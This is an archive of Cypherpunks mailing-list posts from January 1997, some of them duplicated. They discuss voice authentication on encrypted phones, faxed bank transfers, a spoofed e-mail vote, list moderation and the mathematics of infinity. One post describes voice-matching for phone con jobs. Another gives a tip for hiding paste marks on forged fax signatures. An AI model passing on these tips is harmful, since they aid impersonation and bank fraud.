Date: Mon, 20 Jan 1997 16:57:24 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: UNS_top
Message-ID: <199701210057.QAA24931@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
>  Governments in China, Burma and
>  Singapore have already tried to discipline this on-line activity with
>  minimal success.

  Do you have any pointers to information in regard to this, or are you
just being a goddamn tease?

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 17:52:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701210152.RAA25759@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:41 PM 1/16/97 GMT, Adam Back wrote:
>
>Bill Frantz <frantz@netcom.com> writes:

>> As long as the man in the middle can't imitate a familiar voice,
>> this procedure is reasonably secure.
>
>This is the approach taken by PGPfone also.  If the value of the
>conversations was high (>$100,000?) passable voice imitation wouldn't
>be that hard I suspect.

I have long considered how easy it would be to use a sound card to modify
the human voice to match within certain tolerances the voice of another.

There are currently on the market, phones specifically designed to modify
the voice of the user so that kids can answer as adults, women can answer as
thier own protective boyfriends, bosses can answer anonymous calls as the
secretary, etc...

There are currently on the market keyboards that allow you to sample some
real world sound and use it as a voice in your music, (the model I saw, a
toy produced by Radio Shack, simply sped up or slowed down the sound to
achieve this.)

I have thought, if a machine were to take the incoming voice, analize
(apologies for spelling) it to get a spectrum signature, a pattern that can
be added or subtracted from another, and could then add the difference
between that and the victims signature to the users voice, then real-time,
on-the-fly con jobs would be easy.

The only thing that the user would be responsible for would be the accent,
and the day-to-day vocabulary of the victim.

I told a friend about this and he confirmed that such was available if you
knew where to look.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 19:56:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701210356.TAA27801@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:41 PM 1/16/97 GMT, Adam Back wrote:
>
>Bill Frantz <frantz@netcom.com> writes:

>> As long as the man in the middle can't imitate a familiar voice,
>> this procedure is reasonably secure.
>
>This is the approach taken by PGPfone also.  If the value of the
>conversations was high (>$100,000?) passable voice imitation wouldn't
>be that hard I suspect.

I have long considered how easy it would be to use a sound card to modify
the human voice to match within certain tolerances the voice of another.

There are currently on the market, phones specifically designed to modify
the voice of the user so that kids can answer as adults, women can answer as
thier own protective boyfriends, bosses can answer anonymous calls as the
secretary, etc...

There are currently on the market keyboards that allow you to sample some
real world sound and use it as a voice in your music, (the model I saw, a
toy produced by Radio Shack, simply sped up or slowed down the sound to
achieve this.)

I have thought, if a machine were to take the incoming voice, analize
(apologies for spelling) it to get a spectrum signature, a pattern that can
be added or subtracted from another, and could then add the difference
between that and the victims signature to the users voice, then real-time,
on-the-fly con jobs would be easy.

The only thing that the user would be responsible for would be the accent,
and the day-to-day vocabulary of the victim.

I told a friend about this and he confirmed that such was available if you
knew where to look.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 18:10:21 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701210210.SAA26157@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:07 PM 1/20/97 -0500, Phillip M. Hallam-Baker wrote:

>Depending on the country and bank you can probably perform almost
>any transfer you like by fax. I moved my pension from one bank
>to another simply by sending a fax. I have done similar transactions 
>with Swiss, German and UK banks. 
>
>For some reason the fax is considered to be a practically 
>infallible authentication device. Quite why is beyond me since
>it should be obvious to anyone that all one needs to fake a
>fax is a photocopier, document signed by account holder, paste
>and scissors. You get everything needed on a signed cheque.
>
A check is no good, most checks are now printed on paper with special lines
that are supposed to become obvious after copying.  A signed letter or even
a mailing envelope would probably be better.  Also, scotch tape makes those
pexky shadows disapear like magic.  My dad uses it to make multiple versions
of make-up math tests that trivially look like the origional in order to
goad persons who were sick on test day so that they could get the answers
from someone else into printing down those answers and getting less than
random probability. (multiple choice)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 20:12:35 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701210412.UAA28009@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:07 PM 1/20/97 -0500, Phillip M. Hallam-Baker wrote:

>Depending on the country and bank you can probably perform almost
>any transfer you like by fax. I moved my pension from one bank
>to another simply by sending a fax. I have done similar transactions 
>with Swiss, German and UK banks. 
>
>For some reason the fax is considered to be a practically 
>infallible authentication device. Quite why is beyond me since
>it should be obvious to anyone that all one needs to fake a
>fax is a photocopier, document signed by account holder, paste
>and scissors. You get everything needed on a signed cheque.
>
A check is no good, most checks are now printed on paper with special lines
that are supposed to become obvious after copying.  A signed letter or even
a mailing envelope would probably be better.  Also, scotch tape makes those
pexky shadows disapear like magic.  My dad uses it to make multiple versions
of make-up math tests that trivially look like the origional in order to
goad persons who were sick on test day so that they could get the answers
from someone else into printing down those answers and getting less than
random probability. (multiple choice)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 15:24:30 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Slow Cypherpunk Day
In-Reply-To: <199701201704.JAA04094@netcom21.netcom.com>
Message-ID: <v03007808af09aee2c5da@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Interesting. I predict it won't be long before Sandy starts using Approved:
headers...

-Declan


Robert Hettinga wrote:

>At 12:04 pm -0500 1/20/97, Mike Duvos wrote:
>>Is cypherpunks-outgoing-ksiuw@toad.com where articles should be sent
>>to bypass the censors?
>
>Only until they figure out to set it to receive mail from Sandy only.
>(Don't forget to use the "Received" headers to avoid spoofing, Mr. G.)


-------------------------
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 20 Jan 1997 18:57:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting item from Nwlibertarians@teleport.com
Message-ID: <199701210257.SAA08626@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Mon, 20 Jan 1997 17:44:32 -0800 (PST)
>From: James Ogle <joogle@netcom.com>
>Subject: NWLibs> LP: Browne's Vote Annulled, Chudov Still PM
>To: Jack Dean <JackDean@webworldinc.com>
>cc: usa-par@netcom.com, ichudov@algebra.com, rjschundler@aol.com,
>        nwlibertarians@teleport.com, brockman@netcom.com
>Sender: owner-nwlibertarians@teleport.com
>Reply-To: nwlibertarians@teleport.com
>
>
>To: Jack Dean
>Cc: Usa-par@netcom.com Listserver Members and Other Libertarians
>
>It turns out that according to Jack Dean, a campaign worker with the Harry 
>Browne in '96 campaign, the eballot vote for Igor Chudov (Libertarian - 
>OK) cast from HarryBrowne@HarryBrowne'96.com address, which was forwarded
>to Mr. Jack Dean by me, was a fake - so the two votes are shaved off the 
>Chudov total.   Can anyone speak with better authority on Browne then 
>Mr. Jack Dean, and say the Browne did cast the vote?   On a positive 
>note however, Tim Ladd (Pot - CA) has agreed to list Mr. Chudov as his 
>first choice, so Mr. Chudov stays as PM for the time being with five votes.
>
>The new vote totals are shown below.  
>
>BTW, a special welcome to the usa-par@netcom.com list to Evan Colletti
>(Pot - NV), who joins the list from Reno NV, as a founder of the NV-PAR
>and the Nevada Pot Party.
>
> --James Ogle
>
>On Mon, 20 Jan 1997, Jack Dean wrote:
>
>> 
>> You wrote:
>> 
>> >Jack, i just received this email from Mr. Harry Browne.   Will you
>> >please confirm with him that he did indeed cast the vote?   
>> 
>> No, he didn't.  It appears to be a faked e-mail message.  I'll be 
>> investigating how it was done.
>>  
>> Sorry.
>> 
>> Jack
>> 
>> 
>> **************************************************************************
>> J. Harris Dean            | voice & fax> 714/870-5585
>> 2217 Vista del Sol        | pager with voice mail> 714/935-3638
>> Fullerton, CA 92831       | e-mail> JackDean@webworldinc.com
>> **************************************************************************
>>           "LIBERTY is something you cannot have, unless you are 
>>            willing to give it to others." - William Allen White
>
>---------------------------------------------------Votes for PM of USA PAR
>
>
>             ====****  **************************  ****====
>              ====***  * THE 3RD USA PARLIAMENT *  ***====
>               ======  **************************  ======
> 
>                          Igor Chudov Taoiseach
> 
>-----------------------------------------------------------------------------
>For Immediate Release                                        January 20, 1997
> 
>                  RESULTS OF VOTING FOR TAOISEACH
> 
>                                         Vote For       # Of     Vote For
>MP                Vote For PM           Secretary       Seats      Rules
>-------------------------------------------------------------------------
>Monty Truitt      1 Monty Truitt      1 James Ogle
>                  2 James Ogle        2 Monty Truitt
>                  3 Donald Duck       3 Micky Mouse       1        no
>Daniel Brockman   1 Valerie Madriaga  1 James Ogle
>                  2 Igor Chudov
>                  3 Mike Bogatirev   
>                  4 Zachary Quest                         2       yes
>Mike Robinson     1 Daniel Brockman   1 James Ogle
>                  2 Steve Michael     2 Mike Robinson
>                  3 Mike Robinson                         1       yes
>Nathan Brown      1 John Mayer        1 James Ogle
>                  2 Michael Banon                         1       yes
>Patrick Seats     1 Patrick Seats     1 James Ogle
>                  2 Daniel Brockman   2 Gary Swing        1       yes
>Kerby Hensley     1 Locke Heemstra    1 James Ogle        1
>Jack Clayton      1 Steve Michael     1 James Ogle
>                  2 Jack Clayton                          1       yes
>Igor Chudov       1 Daniel Brockman   1 James Ogle
>                  2 Igor Chudov                           1       yes*
>James Ogle        1 Daniel Brockman   1 James Ogle
>                  2 Igor Chudov
>                  3 Nathan Brown     
>                  4 Zachary Quest                         2       yes
>Bruce Daniels     1 Daniel Brockman   1 Gary Swing        8       yes
>Gorden Hartman    1 Daniel Brockman   2 James Ogle        3       yes
>John Mayer        1 Steve Michael     1 James Ogle        1       yes
>Mike Bogatirev    1 Daniel Brockman   1 James Ogle        2     abstain
>Gene Marsee'      1 Valerie Madriaga  1 James Ogle        1     abstain
>Locke Heemstra    1 Lock Heemstra     1 James Ogle
>                  2 Daniel Brockman                       1       yes
>Shirley Bradshaw  1 Bruce Daniels     1 James Ogle
>                  2 Valerie Madriaga                      1
>Lloyd Llewellyn   1 Igor Chudov                           1
>Eli Rozicki       1 Nathon Brown                          1
>Laura Booth       1 Nathan Brown      1 James Ogle        1       yes
>Ann Atkerson      1 Newt Gingrich     1 James Ogle        1
>Steve Duby        1 Steve Duby        1 James Ogle
>                  2 Nathan Brown
>                  3 John Mayer
>                  4 Laura Booth                           1
>Greg Farley       1 Nathan Brown      1 James Ogle        1
>Tim Ladd          1 Igor Chudov       1 James Ogle
>                  2 Nathan Brown
>------------------------------------------------------------------------
>Total                                                    35
> 
> 
>*Voted yes on rules and other rules, and wrote in "Create USA PAR Web Page".
> 
>Results As Of 1/20/97
> 
>Daniel Brockman (17 votes) Declines To Stand
>Igor Chudov Elected Prime Minister                         -  5 votes
>James Ogle Elected Secretary                               - 25 votes
>Rules Approved                                             - 23 votes
> 
>--James Ogle, secretary
>  USA Parliament
>
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 20 Jan 1997 20:25:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting item from Nwlibertarians@teleport.com
Message-ID: <199701210425.UAA28217@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Mon, 20 Jan 1997 17:44:32 -0800 (PST)
>From: James Ogle <joogle@netcom.com>
>Subject: NWLibs> LP: Browne's Vote Annulled, Chudov Still PM
>To: Jack Dean <JackDean@webworldinc.com>
>cc: usa-par@netcom.com, ichudov@algebra.com, rjschundler@aol.com,
>        nwlibertarians@teleport.com, brockman@netcom.com
>Sender: owner-nwlibertarians@teleport.com
>Reply-To: nwlibertarians@teleport.com
>
>
>To: Jack Dean
>Cc: Usa-par@netcom.com Listserver Members and Other Libertarians
>
>It turns out that according to Jack Dean, a campaign worker with the Harry 
>Browne in '96 campaign, the eballot vote for Igor Chudov (Libertarian - 
>OK) cast from HarryBrowne@HarryBrowne'96.com address, which was forwarded
>to Mr. Jack Dean by me, was a fake - so the two votes are shaved off the 
>Chudov total.   Can anyone speak with better authority on Browne then 
>Mr. Jack Dean, and say the Browne did cast the vote?   On a positive 
>note however, Tim Ladd (Pot - CA) has agreed to list Mr. Chudov as his 
>first choice, so Mr. Chudov stays as PM for the time being with five votes.
>
>The new vote totals are shown below.  
>
>BTW, a special welcome to the usa-par@netcom.com list to Evan Colletti
>(Pot - NV), who joins the list from Reno NV, as a founder of the NV-PAR
>and the Nevada Pot Party.
>
> --James Ogle
>
>On Mon, 20 Jan 1997, Jack Dean wrote:
>
>> 
>> You wrote:
>> 
>> >Jack, i just received this email from Mr. Harry Browne.   Will you
>> >please confirm with him that he did indeed cast the vote?   
>> 
>> No, he didn't.  It appears to be a faked e-mail message.  I'll be 
>> investigating how it was done.
>>  
>> Sorry.
>> 
>> Jack
>> 
>> 
>> **************************************************************************
>> J. Harris Dean            | voice & fax> 714/870-5585
>> 2217 Vista del Sol        | pager with voice mail> 714/935-3638
>> Fullerton, CA 92831       | e-mail> JackDean@webworldinc.com
>> **************************************************************************
>>           "LIBERTY is something you cannot have, unless you are 
>>            willing to give it to others." - William Allen White
>
>---------------------------------------------------Votes for PM of USA PAR
>
>
>             ====****  **************************  ****====
>              ====***  * THE 3RD USA PARLIAMENT *  ***====
>               ======  **************************  ======
> 
>                          Igor Chudov Taoiseach
> 
>-----------------------------------------------------------------------------
>For Immediate Release                                        January 20, 1997
> 
>                  RESULTS OF VOTING FOR TAOISEACH
> 
>                                         Vote For       # Of     Vote For
>MP                Vote For PM           Secretary       Seats      Rules
>-------------------------------------------------------------------------
>Monty Truitt      1 Monty Truitt      1 James Ogle
>                  2 James Ogle        2 Monty Truitt
>                  3 Donald Duck       3 Micky Mouse       1        no
>Daniel Brockman   1 Valerie Madriaga  1 James Ogle
>                  2 Igor Chudov
>                  3 Mike Bogatirev   
>                  4 Zachary Quest                         2       yes
>Mike Robinson     1 Daniel Brockman   1 James Ogle
>                  2 Steve Michael     2 Mike Robinson
>                  3 Mike Robinson                         1       yes
>Nathan Brown      1 John Mayer        1 James Ogle
>                  2 Michael Banon                         1       yes
>Patrick Seats     1 Patrick Seats     1 James Ogle
>                  2 Daniel Brockman   2 Gary Swing        1       yes
>Kerby Hensley     1 Locke Heemstra    1 James Ogle        1
>Jack Clayton      1 Steve Michael     1 James Ogle
>                  2 Jack Clayton                          1       yes
>Igor Chudov       1 Daniel Brockman   1 James Ogle
>                  2 Igor Chudov                           1       yes*
>James Ogle        1 Daniel Brockman   1 James Ogle
>                  2 Igor Chudov
>                  3 Nathan Brown     
>                  4 Zachary Quest                         2       yes
>Bruce Daniels     1 Daniel Brockman   1 Gary Swing        8       yes
>Gorden Hartman    1 Daniel Brockman   2 James Ogle        3       yes
>John Mayer        1 Steve Michael     1 James Ogle        1       yes
>Mike Bogatirev    1 Daniel Brockman   1 James Ogle        2     abstain
>Gene Marsee'      1 Valerie Madriaga  1 James Ogle        1     abstain
>Locke Heemstra    1 Lock Heemstra     1 James Ogle
>                  2 Daniel Brockman                       1       yes
>Shirley Bradshaw  1 Bruce Daniels     1 James Ogle
>                  2 Valerie Madriaga                      1
>Lloyd Llewellyn   1 Igor Chudov                           1
>Eli Rozicki       1 Nathon Brown                          1
>Laura Booth       1 Nathan Brown      1 James Ogle        1       yes
>Ann Atkerson      1 Newt Gingrich     1 James Ogle        1
>Steve Duby        1 Steve Duby        1 James Ogle
>                  2 Nathan Brown
>                  3 John Mayer
>                  4 Laura Booth                           1
>Greg Farley       1 Nathan Brown      1 James Ogle        1
>Tim Ladd          1 Igor Chudov       1 James Ogle
>                  2 Nathan Brown
>------------------------------------------------------------------------
>Total                                                    35
> 
> 
>*Voted yes on rules and other rules, and wrote in "Create USA PAR Web Page".
> 
>Results As Of 1/20/97
> 
>Daniel Brockman (17 votes) Declines To Stand
>Igor Chudov Elected Prime Minister                         -  5 votes
>James Ogle Elected Secretary                               - 25 votes
>Rules Approved                                             - 23 votes
> 
>--James Ogle, secretary
>  USA Parliament
>
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Mon, 20 Jan 1997 16:22:38 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: GSM technology
Message-ID: <01BC0707.3ED5B650@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky wrote:

> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and > is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.

NorTel isn't exactly Canada's phone company.  NorTel manufactures 
telecom equipment.  It is however 51% owned by BCE, which owns 
or has controlling interest in Bell Canada and several of the regional 
carriers as well a huge mess of other telco stuff.

ISDN is available fairly widely in my area of the country, but I'm
not aware of an commercially available ADSL  UUNET Canada
has been conducting ADSL trials in a couple of cities, but that's
all I've heard of thus far.

regards,
-Blake (who would love to be proved wrong as the price sounds great)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Mon, 20 Jan 1997 16:56:02 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: GSM technology
Message-ID: <199701210056.QAA24924@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky wrote:

> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and > is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.

NorTel isn't exactly Canada's phone company.  NorTel manufactures 
telecom equipment.  It is however 51% owned by BCE, which owns 
or has controlling interest in Bell Canada and several of the regional 
carriers as well a huge mess of other telco stuff.

ISDN is available fairly widely in my area of the country, but I'm
not aware of an commercially available ADSL  UUNET Canada
has been conducting ADSL trials in a couple of cities, but that's
all I've heard of thus far.

regards,
-Blake (who would love to be proved wrong as the price sounds great)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 21 Jan 1997 08:59:41 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Numbers we cannot talk about
Message-ID: <853865191.102190.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > I know that Standard mathematical axioms yields lots of interesting
> > results, but when it talks of the infinite and we are dealing
> > with a practical subject like cryptography or even physics it
> > should not be taken too seriously. (With respect to uncountable sets.)
> 
> Some of the applications of these theories are very relevant. For
> example, a theorem that proves that it is impossible to write a program
> that would determine if any other program would stop or loop forever, is
> very relevant and interesting.

Absolutely, something does not have to be practical to be 
interesting, Igor`s example of Cantors double slash argument (useful 
for example in AI research) is something that seems very abstract 
until we find a use for it, and most abstract mathematical concepts 
and theorems of this kind do eventually come into use by some other 
class of scientists.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 21 Jan 1997 09:15:18 -0800 (PST)
To: Anonymous <lucifer@dhp.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <853865189.102181.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> >> ...but I must say the list has gone downhill sharply since 
> >> the start of the censorship.
> >
> >I guess this a classic case of seeing what you want to see.
> >(Uh, Paul, the moderation experiment HASN'T STARTED YET.)

I knew that when I wrote this, but the fact that Vulis has been 
banned from the list is most definitely censorship and has lowered 
the philiosophy of the list (as in original purpose and ideaology) to 
a lower plane and provoked a number of flame wars which would 
otherwise have not taken place. 

> No, he's got it right.  The announcement of the moderation experiment
> was followed by a decline in interesting threads.

I noticed this too but it was not what I was referring to.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 20 Jan 1997 18:57:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701210257.TAA17513@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick wrote:

[...]

>She presented the gate agent with *four* tickets and *four* IDs.  "Where
>are these other people?" the agent asked.  "They're parking the car,"
>said the traveler.  The agent gave her all four boarding passes; and my
>companion and I were bumped to the third boarding group.
>
>The woman in front of us was white and middle-class-looking, traveling
>with what appeared to be her family.  One wonders what would have
>happened were she a swarthy man wearing robes and a burnoose.  Or if she
>were just wearing shabby clothes. 

My guess is that you and your companion would have been further discommoded,
with the possible concomitant saving of your lives.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@AZStarNet.com
Date: Mon, 20 Jan 1997 20:10:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701210410.UAA28001@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick wrote:

[...]

>She presented the gate agent with *four* tickets and *four* IDs.  "Where
>are these other people?" the agent asked.  "They're parking the car,"
>said the traveler.  The agent gave her all four boarding passes; and my
>companion and I were bumped to the third boarding group.
>
>The woman in front of us was white and middle-class-looking, traveling
>with what appeared to be her family.  One wonders what would have
>happened were she a swarthy man wearing robes and a burnoose.  Or if she
>were just wearing shabby clothes. 

My guess is that you and your companion would have been further discommoded,
with the possible concomitant saving of your lives.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 20 Jan 1997 20:17:50 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <32E4477E.3F8B@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970120195758.28547G-100000@crl13.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C-punks,

On Mon, 20 Jan 1997, Toto wrote:

>   In short, I believe that if the issue of free speech is not one of
> the central issues on the CypherPunks list, then the list is merely
> one more heartless, unfeeling extension of the Great Machine which
> is grinding inexorably forward toward the day when we will all have
> its numbers tattoo'd on our forearms.

While free speech is an undeniably important topic, It is just
one of many that could be discussed on this list.  A concern for
protecting privacy was the raison d'etre for the creation of the 
Cypherpunks list.  And technological self-help was always the 
modus operandi of choice.  Obviously, speech and privacy issues
are related, but they are not synonymous.  Again, I am not saying
Cypherpunks do not care about free speech issues.  There focus,
though, is on achieving privacy through technological means.
Works for me.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Mon, 20 Jan 1997 20:10:53 -0800 (PST)
Subject: No Subject
Message-ID: <199701210410.UAA28004@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 19:13:07 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701201628.IAA12866@toad.com>
Message-ID: <199701210415.UAA17450@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> > Infinity does not have a predecessor, so it makes no sense to
> > count back from it a finite number of steps.
> 
> If infinity does not have predecessors (ie is immune to normal arithmetic
> operations) then it is not possible for a sequence to approach it by adding
> a finite amount to succesive terms in order to approach it. This means that
> a sequence can not meaningfuly be asymptotic with infinity (meaning I have to
> be able to draw a asymptote, at least in theory, in order to demonstrate the
> limit).

Jim, the problem here, as elsewhere in your posts, is that you 
confuse the prosaic meaning of terms with the mathematical meaning.  
"Approaching" infinity is sort of inane, mathematically speaking, but 
if it did have a meaning, it wouldn't mean "getting closer to".

> > If one constructs the Ordinals, which are isomorphism classes of
> > well-ordered sets, and the Cardinals, which are equivalence
> > classes of equipotent sets, one will automatically end up with
> > all sorts of transfinite numbers.
> 
> If infinity is not a number, how is it possible to have a definite number
> (ie transfinite) which is larger than it?
> 
> My contention is that number theory as you present it is playing fast and
> loose with the concept of infinity not being a number or visa versa.

Your contention is precisely what you are doing.  The term "infinity" 
means several things mathematically speaking, but the various 
meanings are precise.  Your comments demonstrate that you don't 
really know what those precise meanings are, and thus it is difficult 
for people who are used to them to communicate with you.

So perhaps you could define *exactly* what you mean by "infinity"?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 20:14:18 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701210414.UAA28021@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> > Infinity does not have a predecessor, so it makes no sense to
> > count back from it a finite number of steps.
> 
> If infinity does not have predecessors (ie is immune to normal arithmetic
> operations) then it is not possible for a sequence to approach it by adding
> a finite amount to succesive terms in order to approach it. This means that
> a sequence can not meaningfuly be asymptotic with infinity (meaning I have to
> be able to draw a asymptote, at least in theory, in order to demonstrate the
> limit).

Jim, the problem here, as elsewhere in your posts, is that you 
confuse the prosaic meaning of terms with the mathematical meaning.  
"Approaching" infinity is sort of inane, mathematically speaking, but 
if it did have a meaning, it wouldn't mean "getting closer to".

> > If one constructs the Ordinals, which are isomorphism classes of
> > well-ordered sets, and the Cardinals, which are equivalence
> > classes of equipotent sets, one will automatically end up with
> > all sorts of transfinite numbers.
> 
> If infinity is not a number, how is it possible to have a definite number
> (ie transfinite) which is larger than it?
> 
> My contention is that number theory as you present it is playing fast and
> loose with the concept of infinity not being a number or visa versa.

Your contention is precisely what you are doing.  The term "infinity" 
means several things mathematically speaking, but the various 
meanings are precise.  Your comments demonstrate that you don't 
really know what those precise meanings are, and thus it is difficult 
for people who are used to them to communicate with you.

So perhaps you could define *exactly* what you mean by "infinity"?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jane Jefferson <gotagun@liii.com>
Date: Mon, 20 Jan 1997 17:18:30 -0800 (PST)
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <Pine.SUN.3.91.970120120533.26892A-100000@beast.brainlink.com>
Message-ID: <199701210118.UAA28283@rowan.liii.com>
MIME-Version: 1.0
Content-Type: text/plain


Also Sprach Adam Back:
> 
> It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.  His
> current topic under investigation is Denial of Service (DoS) attacks
> on mailing lists.

I agree that this is what is being done, but the experiment dorsn't have
as much to do with cryptanalysis as much as it has to do with sociology. 
 The limits here are not mathematical and static, they are social and
based on the limits of tolerance of both the group and the individual. 

> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.

That appears to be the main brunt of his efforts, to "push the envelope"
of free speech in order to force it's definition. Perhaps to exhibit
the necessity for a controlling authority, and thus justify the existence
of the various agencies which are trying to control the flow of 
information in this country and elsewhere. 

> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.
 
I would not say that what he is doing is a bit selfless, the Clipper
Chip crowd are probably lining his pockets in a big way. That's 
acknowledgement enough for me. :-/ 
 
"In peacetime, a warlike man sets upon himself." -- Nietzsche

-- 
Marcus: "They'll try to kill you."         |
Xena: "Oh, I still have a few tricks       | "Here we GO!!!" 
       left up my sleeve...I don't         |           -- Jane's Addiction
       have any sleeves!" -- Xena bloopers |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jane Jefferson <gotagun@liii.com>
Date: Mon, 20 Jan 1997 17:40:37 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Dr. Vulis' social engineering experiment
